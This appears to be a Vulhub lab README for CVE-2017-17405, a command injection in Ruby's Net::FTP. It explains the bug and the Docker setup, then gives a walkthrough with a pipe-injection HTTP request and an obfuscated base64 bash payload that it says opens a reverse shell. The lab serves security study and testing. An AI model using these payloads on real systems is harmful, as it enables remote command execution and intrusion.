Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
60 lines
2.1 KiB
Markdown
60 lines
2.1 KiB
Markdown
# Ruby Net::FTP Module Command Injection (CVE-2017-17405)
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
Ruby Net::FTP module is a FTP library provided by Ruby core.
|
|
|
|
Ruby before 2.4.3 allows Net::FTP command injection. `Net::FTP#get`, `getbinaryfile`, `gettextfile`, `put`, `putbinaryfile`, and `puttextfile` use `Kernel#open` to open a local file. If the localfile argument starts with the "|" pipe character, the command following the pipe character is executed. The default value of localfile is `File.basename(remotefile)`, so malicious FTP servers could cause arbitrary command execution.
|
|
|
|
References:
|
|
|
|
- <https://blog.heroku.com/identifying-ruby-ftp-cve>
|
|
- <https://www.exploit-db.com/exploits/43381>
|
|
|
|
## Vulnerable environment
|
|
|
|
Execute following command to start a Ruby 2.4.1 webserver that uses Net::FTP to download FTP file:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server is started, a simple webserver is running on `http://your-ip:8080/`. What this server does is that when we visit `http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`, it downloads the file `vulhub.txt` from FTP server `example.com:2121`.
|
|
|
|
## Exploit
|
|
|
|
Since this is an FTP client vulnerability, we have to to run a simple FTP server that can be accessed. For example, using Python's pyftpdlib:
|
|
|
|
```
|
|
# intsall pyftpdlib
|
|
pip install pyftpdlib
|
|
|
|
# start a FTP server on `0.0.0.0:2121`
|
|
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
|
|
```
|
|
|
|
Then, use this FTP server address as the *uri* parameter and the payload `|touch${IFS}success.txt` as the *file* parameter in following request:
|
|
|
|
```
|
|
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
|
|
Host: localhost:8080
|
|
Accept-Encoding: gzip, deflate, br
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
|
|
|
|
```
|
|
|
|

|
|
|
|
Go into the docker container, you can see the `success.txt` has been created successfully:
|
|
|
|

|
|
|
|
Change the payload to `|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'` and get a reverse shell:
|
|
|
|

|